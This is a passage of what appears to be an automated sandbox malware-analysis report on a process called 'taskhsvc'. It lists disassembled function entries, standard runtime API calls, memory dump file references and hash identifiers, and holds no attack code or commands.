                                                                                                                          • Instruction Fuzzy Hash: 8C11B6B4904605CFCB14EFA9C185AAEBBF1EF08304F018819AC50AB351D738E986CF61
                                                                                                                          Function 00C7D0FB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00C3F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C26074), ref: 00C3F7B2
                                                                                                                            • Part of subcall function 00C7B356: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00C441AB), ref: 00C7B3B6
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C7D187
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID: 8$P
                                                                                                                          • API String ID: 4216919130-632918145
                                                                                                                          • Opcode ID: 7cc2ea44783a088136451afc287811c22acf9444ddcbe16226019eaa5dbbdcf3
                                                                                                                          • Instruction ID: 4f707b324a14c0a8ab4fd494ae24c75abba69fb27a47c160d8ac6b832f9acbc7
                                                                                                                          • Opcode Fuzzy Hash: 7cc2ea44783a088136451afc287811c22acf9444ddcbe16226019eaa5dbbdcf3
                                                                                                                          • Instruction Fuzzy Hash: 8801E5B4A047059FDB00DF69D98169FBBF0BF04314F408829E859EB340D774D9458F51
                                                                                                                          Function 00C991F7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                            • Part of subcall function 00C99017: __stack_chk_fail.LIBSSP-0 ref: 00C991EC
                                                                                                                            • Part of subcall function 00C98CB3: __stack_chk_fail.LIBSSP-0 ref: 00C98CE7
                                                                                                                            • Part of subcall function 00C98CEE: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,00C99253), ref: 00C98D22
                                                                                                                          • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00C98F4A), ref: 00C992BE
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID: (x$,p
                                                                                                                          • API String ID: 4216919130-2663215393
                                                                                                                          • Opcode ID: 878a4fbe196d8456de3c037908019aa1c7a8b7ffe01b7172a582245a255414d2
                                                                                                                          • Instruction ID: cd7278d2952fe7a0d60acb87ead2a763478650383589cea0986cf136cea4976f
                                                                                                                          • Opcode Fuzzy Hash: 878a4fbe196d8456de3c037908019aa1c7a8b7ffe01b7172a582245a255414d2
                                                                                                                          • Instruction Fuzzy Hash: 041183B09056049FDB00EF66E99A78B7BF1FB04308F009A1DE444AB391D7B9A848CF91
                                                                                                                          Function 00D520D9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D5214A
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00D338A9), ref: 00D52129
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$abort
                                                                                                                          • String ID: L
                                                                                                                          • API String ID: 1190921433-2909332022
                                                                                                                          • Opcode ID: df188fd1b7be3ce3355f7de4372ea1e5f2c438a3b14f8d95c8d4a99bd24aacf3
                                                                                                                          • Instruction ID: a7d0e74df95f9962be3a9587844a47d4152a35bda85a9c459d784c2675d4a69f
                                                                                                                          • Opcode Fuzzy Hash: df188fd1b7be3ce3355f7de4372ea1e5f2c438a3b14f8d95c8d4a99bd24aacf3
                                                                                                                          • Instruction Fuzzy Hash: 1DF04F70904705AFCF00FF76D54696EBBF1AB44304F009828A994A7244D778E949CFA6
                                                                                                                          Function 00D0607E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
